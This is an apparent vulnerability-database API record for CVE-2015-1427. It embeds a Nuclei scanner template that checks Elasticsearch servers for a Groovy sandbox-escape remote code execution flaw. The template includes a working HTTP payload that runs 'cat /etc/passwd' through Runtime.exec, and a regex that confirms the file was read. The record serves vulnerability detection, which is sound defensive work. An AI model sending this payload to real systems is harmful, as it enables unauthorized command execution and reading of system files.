{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2015-1427/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2015-1427/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2015-1427/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2015-1427/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2015-1427/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2015-1427"},"sightings":{"href":"/api/v1/sightings/cve-2015-1427"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2015/CVE-2015-1427.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2015-1427\n\ninfo:\n  name: ElasticSearch - Remote Code Execution\n  author: pikpikcu\n  severity: high\n  description: ElasticSearch before 1.3.8 and 1.4.x before 1.4.3 allows remote attackers to bypass the sandbox protection mechanism and execute arbitrary shell commands via a crafted script to the Groovy scripting engine.\n  impact: |\n    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.\n  remediation: |\n    Apply the latest security patches and updates provided by ElasticSearch to fix the deserialization vulnerability.\n  reference:\n    - https://blog.csdn.net/JiangBuLiu/article/details/94457980\n    - http://www.elasticsearch.com/blog/elasticsearch-1-4-3-1-3-8-released/\n    - https://nvd.nist.gov/vuln/detail/CVE-2015-1427\n    - http://packetstormsecurity.com/files/130368/Elasticsearch-1.3.7-1.4.2-Sandbox-Escape-Command-Execution.html\n    - https://access.redhat.com/errata/RHSA-2017:0868\n  classification:\n    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P\n    cvss-score: 7.5\n    cve-id: CVE-2015-1427\n    cwe-id: CWE-284\n    epss-score: 0.99906\n    epss-percentile: 0.99965\n    cpe: cpe:2.3:a:elasticsearch:elasticsearch:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 2\n    vendor: elasticsearch\n    product: elasticsearch\n    fofa-query: index_not_found_exception\n  tags: cve2015,cve,packetstorm,elastic,rce,elasticsearch,kev,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /website/blog/ HTTP/1.1\n        Host: {{Hostname}}\n        Accept: */*\n        Accept-Language: en\n        Content-Type: application/x-www-form-urlencoded\n\n        {\n          \"name\": \"test\"\n        }\n      - |\n        POST /_search HTTP/1.1\n        Host: {{Hostname}}\n        Accept: */*\n        Content-Type: application/x-www-form-urlencoded\n\n        {\"size\":1, \"script_fields\": {\"lupin\":{\"lang\":\"groovy\",\"script\": \"java.lang.Math.class.forName(\\\"java.lang.Runtime\\\").getRuntime().exec(\\\"cat /etc/passwd\\\").getText()\"}}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: header\n        words:\n          - \"application/json\"\n\n      - type: regex\n        part: body\n        regex:\n          - \"root:.*:0:0:\"\n\n      - type: status\n        status:\n          - 200\n# digest: 490a00463044022045cbffe6ad208fbcbf10eeb260b74c7ce506859ca901cbb132cd826b2ebb839b022045d5d34099180309e9a5d28b860b97052cda0742fad39da7f8e610f1ffe4bff4:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2015-1427"}